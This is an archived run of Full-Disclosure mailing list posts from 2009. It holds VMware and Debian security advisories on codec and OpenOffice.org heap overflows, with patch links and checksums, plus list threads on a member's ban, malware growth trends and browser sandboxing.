                   VMware Security Advisory

Advisory ID:       VMSA-2009-0012
Synopsis:          VMware Movie Decoder, VMware Workstation, VMware
                   Player, and VMware ACE resolve security issues.
Issue date:        2009-09-04
Updated on:        2009-09-04 (initial release of advisory)
CVE numbers:       CVE-2009-0199 CVE-2009-2628
- ------------------------------------------------------------------------

1. Summary

   Several security issues are resolved with the latest VMnc codec.

2. Relevant releases

   VMware Workstation Movie Decoder stand alone 6.5.2 and earlier.
   VMware Workstation 6.5.2 and earlier,
   VMware Player 2.5.2 and earlier,
   VMware ACE 2.5.2 and earlier,

3. Problem Description

    Several security issues resolved with the latest VMnc codec.

    The VMware movie decoder contains the VMnc media codec that is
    required to play back movies recorded with VMware Workstation,
    VMware Player and VMware ACE, in any compatible media player. The
    movie decoder is installed as part of VMware Workstation, VMware
    Player and VMware ACE, or can be downloaded as a stand alone
    package.

    Several vulnerabilities in the VMnc codec can be exploited to cause
    heap-based buffer overflows via specially crafted video files
    containing incorrect framebuffer parameters.

    For an attack to be successful the user must be tricked into
    visiting a malicious web page or opening a malicious video file on
    a system that has the vulnerable version of the VMnc codec installed.

    VMware would like to thank Alin Rad Pop of Secunia Research and
    Will Dormann of the CERT/CC for reporting these issues and working
    with us on their remediation.

    The Common Vulnerabilities and Exposures project (cve.mitre.org)
    has assigned the names CVE-2009-0199 and CVE-2009-2628 to these
    issues.

    To remediate the above issues either install the stand alone movie
    decoder or update your product using the table below.

    VMware         Product   Running  Replace with/
    Product        Version   on       Apply Patch
    =============  ========  =======  =================
    VirtualCenter  any       Windows  not affected

    Movie Decoder  any       Windows  6.5.3 Build 185404 or later

    Workstation    6.5.x     Windows  6.5.3 build 185404 or later
    Workstation    6.5.x     Linux    not affected

    Player         2.5.x     Windows  2.5.3 build 185404 or later
    Player         2.5.x     Linux    not affected

    ACE            2.5.x     any      not affected

    Server         any       any      not affected

    Fusion         any       Mac OS/X not affected

    ESXi           any       ESXi     not affected

    ESX            any       ESX      not affected


4. Solution
   Please review the patch/release notes for your product and version
   and verify the md5sum and/or the sha1sum of your downloaded file.

   VMware Workstation Movie Decoder stand alone
   --------------------------------------------
   http://www.vmware.com/download/ws/drivers_tools.html

http://download3.vmware.com/software/wkst/VMware-moviedecoder-6.5.3-185404.exe
   md5sum: 2e9de20045c44bc1c03daa3e6fd9a611
   sha1sum: 9cd8f9578223310db988131885ffda6c9a4de873

   VMware Workstation 6.5.3
   ------------------------
   http://www.vmware.com/download/ws/
   Release notes:
   http://www.vmware.com/support/ws65/doc/releasenotes_ws653.html

   For Windows

   Workstation for Windows 32-bit and 64-bit
   Windows 32-bit and 64-bit .exe
   md5sum: 7565d16b7d7e0173b90c3b76ca4656bc
   sha1sum: 9f687afd8b0f39cde40aeceb3213a91be487aad1

   For Linux

   Workstation for Linux 32-bit
   Linux 32-bit .rpm
   md5sum: 4d55c491bd008ded0ea19f373d1d1fd4
   sha1sum: 1f43131c960e76a530390d3b6984c78dfc2da23e

   Workstation for Linux 32-bit
   Linux 32-bit .bundle
   md5sum: d4a721c1918c0e8a87c6fa4bad49ad35
   sha1sum: c0c6f9b56e70bd3ffdb5467ee176110e283a69e5

   Workstation for Linux 64-bit
   Linux 64-bit .rpm
   md5sum: 72adfdb03de4959f044fcb983412ae7c
   sha1sum: ba16163c8d9b5aa572526b34a7b63dc6e68f9bbb

   Workstation for Linux 64-bit
   Linux 64-bit .bundle
   md5sum: 83e1f0c94d6974286256c4d3b559e854
   sha1sum: 8763f250a3ac5fc4698bd26319b93fecb498d542


   VMware Player 2.5.3
   -------------------
   http://www.vmware.com/download/player/
   Release notes:
   http://www.vmware.com/support/player25/doc/releasenotes_player253.html

   Player for Windows binary

http://download3.vmware.com/software/vmplayer/VMware-player-2.5.3-185404.exe
   md5sum: fe28f193374c9457752ee16cd6cad4e7
   sha1sum: 13bd3ff93c04fa272544d3ef6de5ae746708af04

   Player for Linux (.rpm)

http://download3.vmware.com/software/vmplayer/VMware-Player-2.5.3-185404.i386.rpm
   md5sum: c99cd65f19fdfc7651bcb7f328b73bc2
   sha1sum: a33231b26e2358a72d16e1b4e2656a5873fe637e

   Player for Linux (.bundle)

http://download3.vmware.com/software/vmplayer/VMware-Player-2.5.3-185404.i386.bundle
   md5sum: 210f4cb5615bd3b2171bc054b9b2bac5
   sha1sum: 2f6497890b17b37480165bab9f430e8645edae9b

   Player for Linux - 64-bit (.rpm)

http://download3.vmware.com/software/vmplayer/VMware-Player-2.5.3-185404.x86_64.rpm
   md5sum: f91576ef90b322d83225117ae9335968
   sha1sum: f492fa9cf26ee2818f164aac04cde1680c25d974

   Player for Linux - 64-bit (.bundle)

http://download3.vmware.com/software/vmplayer/VMware-Player-2.5.3-185404.x86_64.bundle
   md5sum: 595d44d7945c129b1aeb679d2f001b05
   sha1sum: acd69fcb0c6bc49fd4af748c65c7fb730ab1e8c4


   VMware ACE 2.5.3
   ----------------
   http://www.vmware.com/download/ace/
   Release notes:
   http://www.vmware.com/support/ace25/doc/releasenotes_ace253.html

   ACE Management Server Virtual Appliance
   AMS Virtual Appliance .zip
   md5sum: 44cc7b86353047f02cf6ea0653e38418
   sha1sum: 9f44b15e6681a6e58dd20784f829c68091a62cd1

   VMware ACE for Windows 32-bit and 64-bit
   Windows 32-bit and 64-bit .exe
   md5sum: 0779da73408c5e649e0fd1c62d23820f
   sha1sum: 2b2e4963adc89f3b642874685f490222523b63ef

   ACE Management Server for Windows
   Windows .exe
   md5sum: 0779da73408c5e649e0fd1c62d23820f
   sha1sum: 2b2e4963adc89f3b642874685f490222523b63ef

   ACE Management Server for SUSE Enterprise Linux 9
   SLES 9 .rpm
   md5sum: a4fc92d7197f0d569361cdf4b8cca642
   sha1sum: af8a135cca398cacaa82c8c3c325011c6cd3ed75

   ACE Management Server for Red Hat Enterprise Linux 4
   RHEL 4 .rpm
   md5sum: 841005151338c8b954f08d035815fd58
   sha1sum: 67e48624dba20e6be9e41ec9a5aba407dd8cc01e


5. References

   CVE numbers
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0199
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2628

- ------------------------------------------------------------------------
6. Change log

2009-09-04  VMSA-2009-0012
Initial security advisory after release of Workstation Movie Decoder
on 2009-09-04.  The corresponding updated versions of Workstation,
Player and ACE were released on 2009-08-20.

- ------------------------------------------------------------------------
7. Contact

E-mail list for product security notifications and announcements:
http://lists.vmware.com/cgi-bin/mailman/listinfo/security-announce

This Security Advisory is posted to the following lists:

  * security-announce at lists.vmware.com
  * bugtraq at securityfocus.com
  * full-disclosure at lists.grok.org.uk

E-mail:  security at vmware.com
PGP key at: http://kb.vmware.com/kb/1055

VMware Security Center
http://www.vmware.com/security

VMware security response policy
http://www.vmware.com/support/policies/security_response.html

General support life cycle policy
http://www.vmware.com/support/policies/eos.html

VMware Infrastructure support life cycle policy
http://www.vmware.com/support/policies/eos_vi.html

Copyright 2009 VMware Inc.  All rights reserved.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.5 (MingW32)

iD8DBQFKoaCNS2KysvBH1xkRAuDYAJ9Hd96isQL3JLxql3EcKPsYOjwVeACeP9ca
Pn+y2XFBVmddcLje3AwhYuw=
=wubK
-----END PGP SIGNATURE-----


From ghosts at gmail.com  Sat Sep  5 02:16:49 2009
From: ghosts at gmail.com (ghost)
Date: Fri, 4 Sep 2009 18:16:49 -0700
Subject: [Full-disclosure] Blonde moment for the list administrator
In-Reply-To: <20090904211804.D83ECB0048@smtp.hushmail.com>
References: <20090904211804.D83ECB0048@smtp.hushmail.com>
Message-ID: <6f4bb0b50909041816n249b73bwe3145716121312b4@mail.gmail.com>

So,

n3td3v is a hacker? Please provide any proof as to such.

Thanks,
Joey


On Fri, Sep 4, 2009 at 2:18 PM, <full-censorship at hushmail.com> wrote:
> Exibar <exibar at thelair.com> wrote:
>>Yah, Blonde moment when he didnt' ban the idiot sooner...
>
> all hackers should be welcome here *all* hackers even the stupid
> ones.
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>


From imariot at gmail.com  Sat Sep  5 03:33:23 2009
From: imariot at gmail.com (IM_Ariot)
Date: Fri, 04 Sep 2009 22:33:23 -0400
Subject: [Full-disclosure] Blonde moment for the list administrator
In-Reply-To: <6f4bb0b50909041816n249b73bwe3145716121312b4@mail.gmail.com>
References: <20090904211804.D83ECB0048@smtp.hushmail.com>
	<6f4bb0b50909041816n249b73bwe3145716121312b4@mail.gmail.com>
Message-ID: <1252118003.9288.135.camel@zz-aa-5yblkb1>

This Topic is all getting really really old. I joined this list for the
valuable information and the quality of discussion that occurred on
relevant security issues. 

Can we restore this list to its former glory and take these arguments to
another list/venue, please? 

I don't care if n3td3v is a hacker....There are tens of thousands of
them in the world......

I don't care why he was banned from this list......he can get another
email and get back on if he really wants to be on here.......

Any issues with his ban should be taken up with the list
moderators......not the list in general........

Let a dead horse lie already.....geez



On Fri, 2009-09-04 at 18:16 -0700, ghost wrote:
> So,
> 
> n3td3v is a hacker? Please provide any proof as to such.
> 
> Thanks,
> Joey
> 
> 
> On Fri, Sep 4, 2009 at 2:18 PM, <full-censorship at hushmail.com> wrote:
> > Exibar <exibar at thelair.com> wrote:
> >>Yah, Blonde moment when he didnt' ban the idiot sooner...
> >
> > all hackers should be welcome here *all* hackers even the stupid
> > ones.
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> > Hosted and sponsored by Secunia - http://secunia.com/
> >
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/


From quanticle at gmail.com  Sat Sep  5 04:27:15 2009
From: quanticle at gmail.com (Rohit Patnaik)
Date: Fri, 4 Sep 2009 22:27:15 -0500
Subject: [Full-disclosure] windows future
In-Reply-To: <4AA1521B.18632.F3C1D90@stuart.cyberdelix.net>
References: <4A967FCD.4863.2312FB62@stuart.cyberdelix.net>
	<4AA1283B.30501.E988958@stuart.cyberdelix.net>
	<42092.1252082116@turing-police.cc.vt.edu>
	<4AA1521B.18632.F3C1D90@stuart.cyberdelix.net>
Message-ID: <6a5e46470909042027wdac369dk6d0cda8b40cbe30b@mail.gmail.com>

As for businesses, any business of even medium size is going to have a
backup and recovery plan these days. Businesses will be less affected than
individuals because they'll have backups, and can restore from them if an
infection hits.

In any case, this still doesn't address my contention - that the actual
number of threats doesn't matter, because the vast majority of them are not
viable, in the sense that they attack vulnerabilities that have been
patched.  As long as users keep up with vendor patches (whether they're on
Windows or Linux) the number of threats that will affect them will remain
fairly constant over time.

-- Rohit Patnaik

On Fri, Sep 4, 2009 at 12:44 PM, lsi <stuart at cyberdelix.net> wrote:

> > > - approximate date when number of NEW threats will reach 1 Billion:
> 2015
>
> > This is assuming an exponential growth model, when there's no realistic
> > reason to believe it to be so.
>
> The reason to believe the exponential model will remain valid, is
> that it is the model that is currently valid.  A different model will
> need to explain how the existing exponential curve is derailed.
>
> > There are however good reasons to expect
> > that the correct model is the "logistics curve" (slow growth at first,
> > a steep middle section, then flattening out asymptotic to a horizontal
> line).
>
> > For starters, new threats have to come from *somewhere* [...] From
> > whence will the 1 billion new threats in the 2015-16 span come from?
> > Who will create these,
>
> Did you see the link I posted to the "Evolvable Malware" PPT?
> Mutation will be automated.  Resistance is useless... ;)
>
> > and who will make money from them?
>
> Presumably, the same gangs who do so now.  They won't need to recruit
> billions of new coders to make their billions of new variants.  It'll
> all be generated overnight, by their botnet, which, when it's not
> sending spam, etc, will be "revectoring" itself, using the GP
> algorithms previously noted.
>
> > At what point will some of the marginal players leave
> > the game and find other avenues of making money?
>
> I answered this one already as well... they will leave soon after the
> number of vulnerable hosts starts to fall, which will happen either
> though mass extinction (due to malware overload) or due to re-
> deployment with a Real OS.
>
> > [...]  A bigger danger here is if we start seeing *single* threats
> > that include a really good real-time polymorphism/obfuscator - *that*
> > could really suck.
>
> But Valdis old chap, that is exactly what the GP algorithms do, the
> proof-of-concept is already out there (see the GP PPT).
>
> > Interesting statistic - year before last, around 10% of all new computer
> > purchases were replacements for malware-infested boxes.  Just buying a
> new
> > one was easier/cheaper than trying to fix the old one for a lot of
> people.
>
> These numbers are probably skewed by some kind of newbie effect.
> Once you have had your machine for a while, as I'm sure you know,
> simply dumping it is not always an option.  Businesses, for example,
> may simply be unable to dump an old system, as it runs some legacy
> something, which just happens to be mission-critical.
>
> > Second interesting statistic - the vast majority of that 10% ended up
> using
> > the exact same operating system.
> >
> > So even when it's well past the 20% mark and the box is basically
> unusable,
> > they *still* don't run for the exit.
>
> They're newbies.  You wait till they've done that 5 times.  Then ask
> them, are you a happy bunny... and how much money have you spent, in
> total...
>
> - I have already decommissioned one server, due to malware growth -
> it was an old 486 machine, whose sole purpose was to serve AV updates
> for a client's LAN.  All went well for a few years, however the hard
> drive started to fill with signature updates.  So, I upgraded the
> drive, however due to a BIOS limitation (or was that NT4? FAT16?),
> the maximum size I could use was 2Gb.  That would have filled as
> well, except I moved the AV server software onto their main server
> (and proceeded to fill its disk instead, but that's another story) -
> and sent the old 486 to recycling...
>
> So this old server, you might think of course, it's a mere 486, to
> which I reply, and a canary is also a weakling.  That is why people
> put them in mines, because they are very sensitive to carbon monoxide
> levels, and drop dead well before humans do.  So when the canary
> dies, the mine is evacuated.
>
> This old server was a canary.  Its tight resource limits meant it was
> very sensitive to malware levels.  It dropped dead several years ago
> now. The NaN% on the Virus Bulletin site is another canary.  Sure,
> this can probably be fixed, weak coding you say - again, I say this
> weakness is merely the low-hanging fruit, the first victims of a
> rising tide, which is not even close to its peak.
>
> Stu
>
> ---
> Stuart Udall
> stuart at at cyberdelix.dot net - http://www.cyberdelix.net/
>
> ---
>  * Origin: lsi: revolution through evolution (192:168/0.2)
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090904/c3c5681f/attachment.html 

From quanticle at gmail.com  Sat Sep  5 04:32:32 2009
From: quanticle at gmail.com (Rohit Patnaik)
Date: Fri, 4 Sep 2009 22:32:32 -0500
Subject: [Full-disclosure] why not a sandbox
In-Reply-To: <1252095175.4308.47.camel@hkb-desktop>
References: <a85ce8a70909041105w5a763bd7g3a05b0ebc8f8eac0@mail.gmail.com>
	<1252095175.4308.47.camel@hkb-desktop>
Message-ID: <6a5e46470909042032j113d65fu39a299ab9371a018@mail.gmail.com>

Doesn't Vista already run Internet Explorer in a sort of sandbox?

-- Rohit Patnaik

On Fri, Sep 4, 2009 at 3:12 PM, Kurth Bemis <kurth.bemis at gmail.com> wrote:

> Check out:
>
> http://www.sandboxie.com/
> http://www.xenocode.com/Browsers/
>
> ~k
>
> On Fri, 2009-09-04 at 13:05 -0500, RandallM wrote:
> > how come we just can't sandbox the browser in away from the system.
> > its the users that just get gmail and click links, watch youtube vids
> > and check FaceBook and Mypace that infect the network!
> >
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090904/42774c32/attachment.html 

From vulcanius at gmail.com  Sat Sep  5 06:44:12 2009
From: vulcanius at gmail.com (vulcanius)
Date: Sat, 5 Sep 2009 01:44:12 -0400
Subject: [Full-disclosure] Blonde moment for the list administrator
In-Reply-To: <20090904211804.D83ECB0048@smtp.hushmail.com>
References: <20090904211804.D83ECB0048@smtp.hushmail.com>
Message-ID: <f398fbb50909042244w9421b0ev8e5d5857474edb71@mail.gmail.com>

Go away n3td3v.

On Fri, Sep 4, 2009 at 5:18 PM, <full-censorship at hushmail.com> wrote:
> Exibar <exibar at thelair.com> wrote:
>>Yah, Blonde moment when he didnt' ban the idiot sooner...
>
> all hackers should be welcome here *all* hackers even the stupid
> ones.
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>


From hawkgotyou at gmail.com  Sat Sep  5 11:23:25 2009
From: hawkgotyou at gmail.com (BlackHawk)
Date: Sat, 5 Sep 2009 12:23:25 +0200
Subject: [Full-disclosure] why not a sandbox
In-Reply-To: <6a5e46470909042032j113d65fu39a299ab9371a018@mail.gmail.com>
References: <a85ce8a70909041105w5a763bd7g3a05b0ebc8f8eac0@mail.gmail.com> 
	<1252095175.4308.47.camel@hkb-desktop>
	<6a5e46470909042032j113d65fu39a299ab9371a018@mail.gmail.com>
Message-ID: <621e1d10909050323g14461988k5155ddb2235a08d7@mail.gmail.com>

doesn't chrome already run any single tab in a sandbox?

http://dev.chromium.org/developers/design-documents/sandbox


From adrenalinup at gmail.com  Sat Sep  5 11:58:04 2009
From: adrenalinup at gmail.com (Adrenalin)
Date: Sat, 5 Sep 2009 12:58:04 +0200
Subject: [Full-disclosure] why not a sandbox
In-Reply-To: <621e1d10909050323g14461988k5155ddb2235a08d7@mail.gmail.com>
References: <a85ce8a70909041105w5a763bd7g3a05b0ebc8f8eac0@mail.gmail.com> 
	<1252095175.4308.47.camel@hkb-desktop>
	<6a5e46470909042032j113d65fu39a299ab9371a018@mail.gmail.com> 
	<621e1d10909050323g14461988k5155ddb2235a08d7@mail.gmail.com>
Message-ID: <f027bef40909050358u49109c54r6ca4c398066276b1@mail.gmail.com>

It seems like the plugins in Chrome are not in a sandbox

"One additional, important area that is not covered by the sandbox are
plugins like Flash. Restricting what plugins can do does not fit well with
what users expect, which makes plugins a major vector for attack. Langley
said that the plugin support on Linux is relatively new, but "our experience
on Windows is that, in order for Flash to do all the things that various
sites expect it to be able to do, the sandbox has to be so full of holes
that it's rather useless". He is currently looking at SELinux as a way to
potentially restrict plugins, but, for now, they are wide open. "

Google's Chromium sandbox - http://lwn.net/Articles/347547/ (August 19,
2009)

>From design-documents page "It is also possible to run the plugin processes
inside a sandbox target, using the --safe-plugins command line." hm

On Sat, Sep 5, 2009 at 12:23 PM, BlackHawk <hawkgotyou at gmail.com> wrote:

> doesn't chrome already run any single tab in a sandbox?
>
> http://dev.chromium.org/developers/design-documents/sandbox
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090905/abe34ee9/attachment.html 

From joey at infodrom.org  Fri Sep  4 18:56:14 2009
From: joey at infodrom.org (Martin Schulze)
Date: Fri,  4 Sep 2009 19:56:14 +0200 (CEST)
Subject: [Full-disclosure] [SECURITY] [DSA 1880-1] New OpenOffice.org
	packages fix arbitrary code execution
Message-ID: <20090904175614.282172B3E08@finlandia.home.infodrom.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- --------------------------------------------------------------------------
Debian Security Advisory DSA 1880-1                    security at debian.org
http://www.debian.org/security/                             Martin Schulze
September 4th, 2009                     http://www.debian.org/security/faq
- --------------------------------------------------------------------------

Package        : openoffice.org
Vulnerability  : several
Problem type   : local (remote)
Debian-specific: no
CVE IDs        : CVE-2009-0200 CVE-2009-0201 CVE-2009-2139

Several vulnerabilities have been discovered in the OpenOffice.org
office suite.  The Common Vulnerabilities and Exposures project
identifies the following problems:

CVE-2009-0200

    Dyon Balding of Secunia Research has discovered a vulnerability,
    which can be exploited by opening a specially crafted Microsoft
    Word document.

    When reading a Microsoft Word document, a bug in the parser of
    sprmTDelete records can result in an integer underflow that may
    lead to heap-based buffer overflows.

    Successful exploitation may allow arbitrary code execution in the               
    context of the OpenOffice.org process.

CVE-2009-0201

    Dyon Balding of Secunia Research has discovered a vulnerability,
    which can be exploited by opening a specially crafted Microsoft
    Word document.

    When reading a Microsoft Word document, a bug in the parser of
    sprmTDelete records can result in heap-based buffer overflows.

    Successful exploitation may allow arbitrary code execution in the               
    context of the OpenOffice.org process.

CVE-2009-2139

    A vulnerability has been discovered in the parser of EMF files of
    OpenOffice/Go-oo 2.x and 3.x that can be triggered by a specially
    crafted document and lead to the execution of arbitrary commands
    the privileges of the user running OpenOffice.org/Go-oo.

    This vulnerability does not exist in the packages for oldstable,
    testing and unstable.

For the old stable distribution (etch) these problems have been fixed in
version 2.0.4.dfsg.2-7etch7.

For the stable distribution (lenny) these problems have been fixed in
version 2.4.1+dfsg-1+lenny3 and higher.

For the unstable (sid) and testing (squeeze) distribution these
problems have been fixed in version 3.1.1~ooo310m15-1.

We recommend that you upgrade your Openoffice.org package.


Upgrade Instructions
- --------------------

wget url
        will fetch the file for you
dpkg -i file.deb
        will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given at the end of this advisory:

apt-get update
        will update the internal database
apt-get upgrade
        will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.


Debian GNU/Linux 4.0 alias etch
- -------------------------------

  Source archives:

    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org_2.0.4.dfsg.2-7etch7.dsc
      Size/MD5 checksum:     7250 76bc711bb7e9a04ecc62b969c63a8d55
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org_2.0.4.dfsg.2-7etch7.diff.gz
      Size/MD5 checksum: 76911819 8f022d2d93a0faf06fa022f2c8048b48
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org_2.0.4.dfsg.2.orig.tar.gz
      Size/MD5 checksum: 232674922 2f1a5d92188639d3634bd6d1b1c29038

  Architecture independent components:

    http://security.debian.org/pool/updates/main/o/openoffice.org/broffice.org_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   499306 3ea2b39d8bef3c56085610ba2a9cba9b
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-common_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum: 27088338 12932398efd5021e7677b053c96ce04c
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-dev-doc_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:  5161862 5da27e8b31d94b1256d134a8e54dadce
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-dtd-officedocument1.0_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   252164 af1d650219879d0d537955488bd1b23e
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-filter-mobiledev_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   310882 14c5143ee4ee99ba533f65e3425bd94d
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-cs_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum: 11906044 d63270a9edeb9cb9c87fc48c6667f654
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-da_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum: 11859386 b9a7ede88938dd795505f1c60cd1c7d5
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-de_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum: 12697020 13f3ad336501764f2175283ccf39e641
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-dz_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum: 15055132 6eff9f79a53588243c8bd529cd0e347d
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-en-gb_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum: 11318102 d9a189b778e9adeed8069072c9b73136
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-en-us_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum: 11321376 4ea51940e224eb18fe7f2bc53714d63c
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-en_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   215358 a1d0f4a7f4245a23485c0d3510b5cb7d
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-es_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum: 12080104 977657f9b5a87256bbf1a61f02abd19f
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-et_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum: 12000104 6dade968f239c770d035bc0d16ebc927
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-fr_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum: 12324160 6256a6e0f2c16153cff0aab648b3517a
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-hi-in_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum: 13187058 48ce2301d99fbabc5e74039eb97d9630
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-hu_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum: 12601712 979711adfda1af0edf5cfea2a8b78070
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-it_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum: 12103164 b86be5f2eeae0c77c2771b43765bd384
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-ja_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum: 12804722 69738d74b6239e1298ad886c00905c29
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-km_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum: 14471036 105de502cf56fb5d384c40ea37c00bf0
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-ko_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum: 11978252 06f2e7300f557aea342f2e0c6b1c8be7
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-nl_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum: 12412194 3a945e38b93c0d0b7a1f253cc3a8be00
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-pl_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum: 12361438 fb5f9aec2c164f9b1c3bf10356590610
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-pt-br_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum: 12092982 9dadb6dc3550c041ae3a2a05ec2e4236
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-ru_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum: 13221232 e08e40254cf1d01b5b565a1eb6332c99
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-sl_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum: 12089662 01cc1f0ca63c0e5ceb0f0971682bfcf1
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-sv_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum: 11827136 243487e89eeadde27170314518e36423
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-zh-cn_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum: 12087766 d20dbae269937b8ccb599704506886d5
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-help-zh-tw_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum: 12242102 6134b04f3aa6305aa5f7ec928e2edc52
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-java-common_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:  3004620 c5a194a63c315d2c28d56b5eee4c53f5
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-af_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   862436 6df696b6bd2d9b4f3f35740687751682
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-as-in_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   917968 6a43c20c2ee47811dd6d44ebaa0ba8b0
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-be-by_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   917794 43d86d59d1b600e7a152a96b085b7a44
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-bg_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:  2086440 8bd1c0696f3d97cfecea239412ef4ec4
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-bn_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   861254 1370e8cb3fa02a39d3c73f48241fdb85
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-br_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   870544 5902e1a7d26953a16dedeff4788212dd
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-bs_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   872364 0473ea3639bc04dadfe7b34f077de611
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-ca_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   882792 343d89af161a62bacea0732a8e2ef1a6
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-cs_2.0.4.dfsg.2-7etch7_all.deb
